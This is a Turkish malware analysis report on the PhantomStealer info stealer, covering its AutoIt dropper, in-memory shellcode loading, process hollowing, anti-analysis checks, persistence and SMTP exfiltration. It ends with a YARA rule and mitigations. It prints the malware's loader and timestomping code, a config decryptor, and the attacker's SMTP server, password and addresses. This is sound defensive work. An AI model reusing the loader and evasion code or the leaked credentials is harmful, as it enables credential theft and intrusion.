Phantom Stealer Analizi

Ön Bakış

PhantomStealer, RedLine Stealer ailesine benzer davranışlar sergileyen ancak yapısal farklılıkları nedeniyle bağımsız geliştirildiği değerlendirilen, çoklu veri sızdırma mekanizmasına sahip kritik bir info stealer örneğidir. 2025 yılı sonlarında öne çıkan örneğin; kurumsal ağları ve bireysel kullanıcıları hedefleyen phishing kampanyalarında, özellikle Rusya’da sahte banka transferi e-postaları ve ISO paketleri aracılığıyla yayıldığı gözlemlenmiştir.

İlk aşamada güvenlik ürünlerinden kaçmak amacıyla AutoIt ile paketlenmekte, asıl zararlı akışını geleneksel bir on-disk payload bırakmadan ağırlıklı olarak RAM üzerinde yürütmektedir.

Bulaştığı sistemde başlıca şu verileri hedeflemektedir:

• Chromium ve Gecko tabanlı tarayıcılardaki kayıtlı kimlik bilgileri ve oturum çerezleri,
• Masaüstü ve tarayıcı eklentisi tabanlı kripto para cüzdanları,
• Discord ve Telegram gibi masaüstü mesajlaşma istemcilerinin oturum token’ları,
• FileZilla ve WinSCP gibi FTP istemcileri ile Outlook gibi e-posta istemcileri,
• Desktop, Downloads, OneDrive ve DropBox gibi dizinlerdeki kritik kullanıcı belgeleri.

Bunlara ek olarak arka planda klavye vuruşlarını kaydetmekte, belirli aralıklarla ekran görüntüsü almakta ve panoya kopyalanan kripto para cüzdan adreslerini saldırganın yapılandırmadaki adresleriyle değiştirebilmektedir.

Risk Seviyesi: Kritik

İçindekiler

1. Ön Bakış
2. z28FKG-90.exe Analizi
   • Statik Analiz
   • Dinamik Analiz
3. Stub.exe Analizi
   • Statik Analiz
   • Dinamik Analiz
4. YARA Kuralı
5. MITRE ATT&CK Tablosu
6. Çözüm Önerileri
7. Hazırlayan

z28FKG-90.exe Analizi

Statik Analiz

İlk aşama dropper dosyası Detect It Easy (DIE) ile incelendiğinde yüksek entropiye sahip olduğu ve AutoIt derleyicisi ile paketlendiği görülmüştür. Yüksek entropi, asıl zararlı içeriğin dosya içerisinde şifrelenmiş veya sıkıştırılmış biçimde tutulduğunu desteklemektedir.

DIE üzerinde AutoIt ile derlendiğinin çıktısı

DIE entropi görünümünde yaklaşık 7,45 bit/byte değer ve %93 packed oranı görülmektedir. Bu bulgu, dropper içeriğinin önemli bir bölümünün sıkıştırılmış veya şifrelenmiş halde tutulduğunu göstermektedir.

DIE üzerinde packed durumu ve entropi değeri

Orijinal dosya AutoIt-Ripper ile ayrıştırıldığında esas AutoIt scripti ile hurtling ve pteropod isimli iki şifreli payload dışa aktarılmıştır. Scriptin statik incelemesinde zararlı parçaların yasal SysAnimate32 fonksiyonları arasına gizlendiği ve komutların çalışma anında VJRMKBBB isimli özel bir karakter kaydırma algoritmasıyla çözüldüğü görülmüştür. Temp dizinine çıkarılan bileşenler çözüldükten sonra ana zararlı akış CallWindowProc üzerinden tetiklenmektedir.

AutoIt-Ripper ile AutoIt scriptinin ve gömülü zararlı dosyaların çıkartılması

Blog tarafında analiz sırasında kullanılan AutoIt akışından ilgili kesit aşağıdaki gibidir:

;Payloadı'n rutini
FileInstall ( "hurtling" , @TempDir & "\hurtling" , 1 )
FileInstall ( "pteropod" , @TempDir & "\pteropod" , 1 )
$WBWTLOYAG = $SIUBUYBNEU ( @TempDir & "\pteropod" ) ;Temp'e saldığı dosyayı oku
$WBWTLOYAG = VJRMKBBB ( $WBWTLOYAG , "6" ) ;VJRMKBBB fonksiyonuyla içeriği çöz

;kernel32.dll üzerinden VirtualAlloc çağırıp RWX (0x40) yetkisiyle bellek ayırıyoruz
$GTPKOHIOT = DllCall ( "kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , 0 , "int" , $DHUOOWHG , "int" , 0x3000 , "int" , 0x40 ) [ 0 ]

;Çözdüğümüz zararlı içeriği ayırdığımız bu struct içine yazıyoruz
$LZFNUABDCE = DllStructCreate ( "byte[" & $DHUOOWHG & "]" , $GTPKOHIOT )
DllStructSetData ( $LZFNUABDCE , 1 , $WBWTLOYAG )

;HOOK kısmı
;Normalde kod akışta CallWindowProc doğrudan çağrılıyordu.
;Sürece x32dbg ile attach olabilmek ve shellcode'u kaçırmamak için araya MsgBox koyduk.
;Orijinal çağrı: DllCall("user32.dll", "ptr", "CallWindowProc", "ptr", $GTPKOHIOT + 9184, "ptr", 0, "ptr", 0, "ptr", 0, "ptr", 0)

Local $PayloadAdresi = "0x" & Hex($GTPKOHIOT)
MsgBox(48, "HOOK", "Payload başarıyla bellekte" & @CRLF & "Hedef memory: " & $PayloadAdresi & @CRLF & "Attach ol ve memory map'te adrese git")
DllCall("user32.dll", "ptr", "CallWindowProc", "ptr", $GTPKOHIOT + 9184, "ptr", 0, "ptr", 0, "ptr", 0, "ptr", 0)

Dinamik Analiz

Zararlının RAM üzerindeki faaliyetlerini takip etmek için süreç x32dbg üzerinden izlenmiş ve VirtualAlloc API çağrıları takip edilmiştir. Zararlının bellekte üç temel aşamada alan ayırdığı görülmüştür.

Birinci VirtualAlloc aşaması: İlk tahsiste geçerli bir PE yapısı bulunmayan ham shellcode belleğe yazılmıştır.

Birinci VirtualAlloc aşamasında belleğe yazılan ham veri

İkinci VirtualAlloc aşaması: İkinci tahsiste geçerli bir PE yapısına sahip ara EXE RAM üzerine açılmış ve AutoIt akışından sonraki aşamaya geçiş sağlanmıştır.

İkinci VirtualAlloc aşaması

İkinci aşamada açılan yapının EXE olduğunun doğrulanması

Üçüncü VirtualAlloc aşaması: Üçüncü tahsiste Rtl*, Zw* ve Ldr* API’lerini içeren temiz bir ntdll.dll kopyası belleğe yansıtılmıştır. Bu davranış, güvenlik ürünlerinin user-mode API izleme kancalarını atlatmaya yönelik bir API unhooking yaklaşımıyla uyumludur.

Üçüncü bellek aşamasındaki DLL yapısının doğrulanması

Belleğe yansıtılan dosyanın orijinal ntdll.dll olduğunun doğrulanması

Resource Editor çıktısında CompanyName alanının Microsoft Corporation, InternalName ve OriginalFilename alanlarının ise ntdll.dll olarak görünmesi, belleğe yansıtılan yapının temiz Windows bileşeni olduğunu doğrulamaktadır.

Ana payload tamamen RAM üzerinde çözüldüğü için çözülme anını yakalamak amacıyla bir hooking stratejisi uygulanmıştır. AutoIt scriptindeki CallWindowProc çağrısından hemen önce bir MsgBox yerleştirilerek akış durdurulmuş ve hedef bellek adresi görünür hale getirilmiştir.

MsgBox üzerinden hedef bellek adresinin tespiti

Süreç MsgBox üzerinde beklerken arka plandaki AutoIt3.exe işlemine x32dbg ile dışarıdan attach olunup süreç askıya alınmıştır.

AutoIt3.exe sürecine x32dbg ile attach olma aşaması

Çözülen bellek bloğundaki stringler incelendiğinde Process Hollowing için kurban süreç olarak Windows’un yasal regsvcs.exe bileşeninin seçildiği görülmüştür.

regsvcs.exe sürecinin Process Hollowing kurbanı olarak seçildiğine ilişkin bulgu

Aynı string dump içerisinde nihai çalıştırılabilir dosyanın diskte hedeflediği yol bilgisi de açık biçimde oluşturulmaktadır. Bu yol, sonraki breakpoint ve payload çıkarma adımlarında doğrulama amacıyla kullanılmıştır.

Zararlının disk üzerinde hedeflediği yol bilgisi

Shellcode başlangıç adresinin hesaplanmasında AutoIt scriptindeki 9184 baytlık (0x23E0) offset referans alınmış ve Base Address + 0x23E0 konumuna breakpoint yerleştirilmiştir.

Sonraki aşamada kernel32.VirtualAlloc izlenmiş, fonksiyon dönüşünde işletim sisteminin tahsis ettiği yeni bellek bölgesinin başlangıç adresi EAX üzerinden alınmış ve bu adrese Hardware Write Breakpoint konulmuştur. Shellcode çözülüp yeni bölgeye yazıldığı anda süreç durdurularak bellek dump’ı elde edilmiştir.

Shellcode sonrasında elde edilen bellek dump’ı

Elde edilen dump statik olarak incelendiğinde dosyanın .NET Reactor ile korunduğu ve analisti yanıltmak için sahte bir Visual C++ kabuğu içerdiği görülmüştür.

Shellcode sonrası dump'ın DIE çıktısı ve yanıltıcı stub yapısı

Asıl .NET modülünün belleğe açıldığı tahsisi gürültüden ayırmak için VirtualAlloc çağrısındaki size parametresine [esp+8] > 0x30000 koşullu breakpoint’i uygulanmıştır. Böylece küçük ve ilgisiz tahsisler filtrelenerek ana modülün açıldığı bellek bölgesi izole edilmiştir.

Yeni dump’ın başında anlamsız baytlar bulunmasına rağmen hex görünümünde ardışık iki farklı MZ başlığı tespit edilmiştir. İlk MZ başlığından önceki veriler manuel olarak temizlenmiş ve yapı yeniden kaydedilmiştir.

Elde edilen dump'ın ilk yanıltıcı görünümü ve iç içe MZ yapısı

Manuel hex düzenlemesinden sonra dosyanın .NET tabanlı bir taşıyıcı DLL yapısına dönüştüğü doğrulanmıştır.

Manuel düzenleme sonrasında elde edilen taşıyıcı DLL’in DIE analizi

Taşıyıcı DLL dnSpy ile incelendiğinde, Resources bölümünde ikinci MZ başlığına karşılık gelen asıl zararlı EXE’nin gömülü olduğu görülmüş ve bu PE kaynağı dışa aktarılarak dropper zincirinin son çalıştırılabilir payload’ı elde edilmiştir.

dnSpy Resources bölümünden asıl EXE'nin çıkartılması

Stub.exe Analizi

DIE çıktısındaki .NET v4.0.30319 bilgisi, nihai payload’ın yönetilen .NET tabanlı bir PE olduğunu doğrulamaktadır.

Stub.exe temel PE metadata görünümü (DIE)

Statik Analiz

Bellekten çıkartılan payload’ın .NET Framework 4.8 mimarisiyle derlendiği ve dış bağımlılıkları tek dosyada toplamak için Costura.Fody kullandığı görülmüştür. Kaynaklar içerisinde costura.newtonsoft.json.dll.compressed ve costura.icsharpcode.sharpziplib.dll.compressed gibi kütüphaneler bulunmakta; bu bileşenler AssemblyLoader aracılığıyla diske yazılmadan bellek üzerinden yüklenmektedir.

Resources bölümünde tespit edilen Costura paketleri

Config sınıfında yapılandırma seçeneklerinin standart Boolean değerler yerine "0" ve "1" stringleriyle temsil edildiği görülmüştür. Bu yapı, modüllerin bir builder üzerinden seçilip örneğin otomatik üretildiğine işaret etmektedir.

Zararlı ayrıca lazy decryption kullanmaktadır. InitAsync() yalnızca yapılandırmada "1" olarak işaretlenen aktif modüllerin verilerini çalışma anında çözmekte; pasif hedeflere ait bilgiler bellekte şifreli kalmaktadır. Bu yaklaşım, memory scanner ve YARA tabanlı tespiti zorlaştırmaktadır.

Şifreli yapılandırma ve sabit verilerin gizlenmesine ilişkin görünüm

Statik kod incelemesinde aynı sistemde birden fazla kopyanın çalışmasını önleyen 0MYBS40OAU4OQC15GJX5 değerli özel bir mutex de tespit edilmiştir. Bu değer yüksek güvenilirlikli bir host göstergesi olarak EDR/SIEM kurallarında kullanılabilir.

Dinamik Analiz

Dinamik debugging sırasında zararlının anti-tamper mekanizmaları standart analiz akışını engellemiştir. Giriş noktasını koruyan JIT compiler hook’u (prXoP4RuYp) dış müdahale algıladığında metot gövdelerini boş bırakmakta ve analizi bozacak şekilde yürütme akışını çökertmektedir.

JIT/Method Body Hollowing nedeniyle içi boş bırakılmış metot gövdeleri

Debugger bağlandığında bu davranış System.NullReferenceException ile sonuçlanmış ve süreç kontrollü biçimde crash olmuştur.

Dinamik analiz sırasında oluşan NullReferenceException çökmesi

Bu savunmayı aşmak için Extreme Dumper kullanılmıştır. Zararlı kontrollü ortamda çalıştırılmış, regsvcs.exe içine enjekte olduğu anda hedef süreçten memory dump alınmıştır. Böylece JIT motorunun çalışma anında çözmüş olduğu metot gövdeleri okunabilir halde elde edilmiştir.

Extreme Dumper ile regsvcs.exe üzerinden elde edilen dump dosyaları

Zararlı, sanal makine ve analiz ortamlarını algılamak için kapsamlı bir AntiAnalysis modülü barındırmaktadır. AntiAnalysis.Run() içerisinde aşağıdaki kontroller uygulanmakta ve şüpheli koşul saptandığında SelfDestruct.Melt() çağrılarak zararlının sistemden kaldırılması hedeflenmektedir:

• GPU kontrolü: WMI üzerinden SELECT * FROM Win32_VideoController sorgusu yapılır; VirtualBox Graphics Adapter veya VMware SVGA 3D gibi sürücüler aranır.
• Kullanıcı ve cihaz adı kontrolü: Environment.UserName ve Environment.MachineName, WDAGUtilityAccount, AppOnFlySupport, John Doe, test gibi analiz ortamı değerlerini içeren bir blacklist ile karşılaştırılır.
• Machine GUID kontrolü: HKLM\SOFTWARE\Microsoft\Cryptography altındaki sistem GUID’i bilinen sandbox/analiz sunucusu kimlikleriyle karşılaştırılır.
• Process kontrolü: Sysmon64.exe ve VmRemoteGuest.exe gibi loglama veya sanallaştırma süreçleri aranır.
• Servis kontrolü: vmicheartbeat, vmicvss, vmictimesync gibi Hyper-V/VMware servisleri denetlenir.
• Sandbox kontrolü: GetModuleHandle ile SbieDll.dll veya snxhk.dll gibi sandbox kütüphanelerinin sürece yüklenip yüklenmediği kontrol edilir.
• Zamanlama kontrolü: Emulator() içinde Task.Delay(10).Wait() çevresindeki CPU tick’leri ölçülerek uyku atlayan emülatörler tespit edilmeye çalışılır.
• Ağ/IP kontrolü: SuspiciousIP() ve Dns.GetHostEntry üzerinden sistemin Google Cloud, Microsoft Azure veya bilinen siber güvenlik kuruluşlarıyla ilişkili ağlarda olup olmadığı değerlendirilir.

AntiAnalysis modülünde gözlemlenen çevre ve analiz kontrolleri

HeavensGate: Statik çevre kontrollerinin yanında zararlı, 32-bit süreçte user-mode API hook’larını atlatmak için HeavensGate sınıfını kullanmaktadır. Bu yaklaşım 32-bit bağlamdan geçici olarak 64-bit bağlama geçerek sistem çağrılarını kernel yönüne iletmeyi ve yalnızca 32-bit user-mode hook’larına dayanan izlemeyi zayıflatmayı amaçlamaktadır.

Kalıcılık ve Timestomping: Zararlı kendisini %RoamingAppData% dizinine kopyalayıp Registry Run anahtarı üzerinden kalıcılık sağlamaktadır.

Registry Run Key üzerinden kalıcılık sağlayan kod akışı

Ardından SetFileCreationDate fonksiyonu kopyalanan dosyanın oluşturulma, son yazılma ve son erişim zamanlarını statik olarak iki yıl önceki 22 Mayıs 03:16:28 değerine çekmektedir. Böylece dosyanın yeni oluşturulduğu gerçeğinin adli zaman çizelgesinde gizlenmesi amaçlanmaktadır.

// Zararlının Timestomping işlemi
public static void SetFileCreationDate(string path = null)
{
    string text = path ?? Startup.ExecutablePath;
    // Tarih iki yıl önceki 22 Mayıs 03:16:28 değerine çekiliyor.
    DateTime dateTime = new DateTime(DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
    File.SetCreationTime(text, dateTime);
    File.SetLastWriteTime(text, dateTime);
    File.SetLastAccessTime(text, dateTime);
}

Aktif gözetim modülleri: Nihai payload yalnızca statik veri hırsızlığı yapmamakta, sistem üzerinde aktif gözetim de yürütmektedir.

• Screenshot: _intervalMinutes = 30 ile ayrı bir thread üzerinden her 30 dakikada bir ekran görüntüsü alınır ve yyyyMMdd_HHmmss.png formatında çalışma dizinine kaydedilir.
• Keylogger: Tuş vuruşları bir sayaçta biriktirilir; sayaç 100’e ulaştığında veriler MakineAdı_Tarih_Saat.txt biçiminde geçici çalışma dizinine yazılır ve sayaç sıfırlanır.
• Clipper: Pano regex kalıplarıyla izlenir; BTC, ETH, LTC, XMR ve SOL gibi kripto cüzdan adresleri yapılandırmadaki saldırgan adresleriyle değiştirilebilir.

FileGrabber: Zararlı, tarayıcı ve cüzdan verilerinin yanında hedef sistemin dosya yapısını da taramaktadır. Özellikle Desktop, MyPictures, Personal, Downloads, DropBox ve OneDrive dizinleri hedeflenmektedir. DetectFileType ile dosyalar yapılandırmadaki uzantılarla eşleştirilerek document, database, sourcecode ve image kategorilerine ayrılmaktadır.

FileGrabber modülünün dosya uzantılarını kategorize etmesi

FileGrabber modülünün hedeflediği dizinler

Config.GrabberSizeLimit parametresi dosya boyutunu filtrelemek için kullanılmakta ve desktop.ini gibi gereksiz dosyalar atlanmaktadır. Boyut ve uzantı kontrolünden geçen veriler, kurbanın orijinal yol yapısını koruyacak şekilde DRIVE-C\Users\KullanıcıAdı\Desktop\... benzeri sanal bir dizin ağacına kopyalanmakta ve son aşamada SharpZipLib ile sıkıştırılmaktadır.

Dosya boyutu filtresi ve kurban disk yapısının sanal olarak korunması

Ağ Analizi: Wireshark üzerinden yapılan incelemede ağ faaliyeti iki aşamalı olarak gözlemlenmiştir: önce hazırlık, ardından asıl exfiltration.

Dış IP tespiti için zararlı icanhazip.com servisine DNS sorgusu göndererek kurbanın public IP bilgisini almakta ve bu veriyi çalınacak bilgi setine eklemektedir.

Zararlının icanhazip.com üzerinden kurbanın public IP bilgisini sorgulaması

Toplanan arşivin dışarı çıkarılmasında klasik web tabanlı C2 panelleri yerine SMTP kullanılmaktadır. Bu tercih trafiği normal e-posta iletişimine benzeterek tespiti zorlaştırmayı amaçlamaktadır.

InitAsync içerisindeki Base64 ve AES ile şifrelenmiş yapılandırma değerleri, analiz sırasında hazırlanan Python tabanlı decryptor ile çözülmüştür:

import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

salt = bytes([102, 51, 111, 51, 75, 45, 49, 49, 61, 71, 45, 78, 55, 86, 74, 116, 111, 122, 79, 87, 82, 114, 61, 40, 116, 78, 90, 66, 102, 75, 43, 98, 83, 55, 70, 121])
password = bytes([59, 38, 75, 70, 33, 77, 33, 104, 56, 94, 105, 84, 58, 60, 41, 97, 63, 126, 109, 88, 101, 78, 42, 126, 111, 63, 103, 78, 91, 118, 64, 114, 81, 61, 66])

cipher_text = input("Encrypted String: ").replace("ENCRYPTED:", "").strip()
data = base64.b64decode(cipher_text)

derived = pbkdf2_hmac('sha1', password, salt, 1000, 48)
key = derived[:32]
iv = derived[32:48]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(data), 16)

print("\nDeşifre Edilen Sonuç:", decrypted.decode('utf-8'))

Çözümleme sonucunda elde edilen IOC’ler:

• SMTP Sunucusu: mail.memcoplast.com (192.64.150.4 - web4.dnchosting.com)
• Gönderici Adresi: mina@memcoplast.com
• SMTP Şifresi: MEMCO13579
• Alıcı Adresi: angelinagotze35@gmail.com

SMTP sunucusuyla ilk temastan sonra zararlı, kurban makinenin adını EHLO komutuyla sunucuya iletmekte ve toplanan ZIP arşivini e-posta eki olarak saldırgana aktarmaktadır.

SMTP oturumunun kurulması ve EHLO üzerinden kurban makine adının iletilmesi

YARA Kuralı

rule Phantom_Stealer_Detector {

    meta:
        author = "M. Murat KİLİT, Muhittin YILMAZER, Burak ÇALIŞGAN"
        date = "2026-04-26"

    strings:
        //AutoIt Dropper Katmanı
        $dropper1 = "pteropod" ascii wide fullword
        $dropper2 = "hurtling" ascii wide fullword
        $dropper3 = "VJRMKBBB" ascii wide fullword

        //.NET Katmanı
        //AES'ler
        $aes_salt = { 66 33 6F 33 4B 2D 31 31 3D 47 2D 4E 37 56 4A 74 }
        $aes_key = { 3B 26 4B 46 21 4D 21 68 38 5E 69 54 3A 3C 29 61 }
        $config_enc = "ENCRYPTED:" ascii wide

        //Mutex kesin ihlal
        $mutex = "0MYBS40OAU4OQC15GJX5" ascii wide fullword

        //Anti-analiz bileşenleri
        $module1 = "SuspiciousGPU" ascii wide
        $module2 = "GrabberSizeLimit" ascii wide
        $module3 = "AntiAnalysis" ascii wide
        $module4 = "HeavensGate" ascii wide

    condition:
        //Dosya geçerli bir PE olmalı ve CPU'yu yormamak için 5MB sınır
        uint16(0) == 0x5A4D and filesize < 5MB and
        (
            //Diskteki AutoIt Dropper dosyasını en az 2 eşleşmeyle yakala
            2 of ($dropper*)
            or
            //RAM'e açılmış hali için
            (
                all of ($aes*) and
                (
                    $mutex or
                    $config_enc or
                    2 of ($module*)
                )
            )
        )
}

MITRE ATT&CK Tablosu

Çözüm Önerileri

1. Tarayıcı içerisinde kayıtlı olan şifreler acilen değiştirilmelidir.
2. Geleneksel antivirüslerin gözlemlenen davranışlarla atlatılabildiği görüldüğünden, davranışsal analiz yapabilen EDR çözümleri tercih edilmelidir.
3. Analiz sırasında tespit edilen IP ve domain adresleri firewall ve/veya proxy katmanında engellenmelidir.
4. Normalde ağ trafiği üretmesi beklenmeyen yasal Windows süreçlerinin olağandışı ağ bağlantıları izlenmelidir.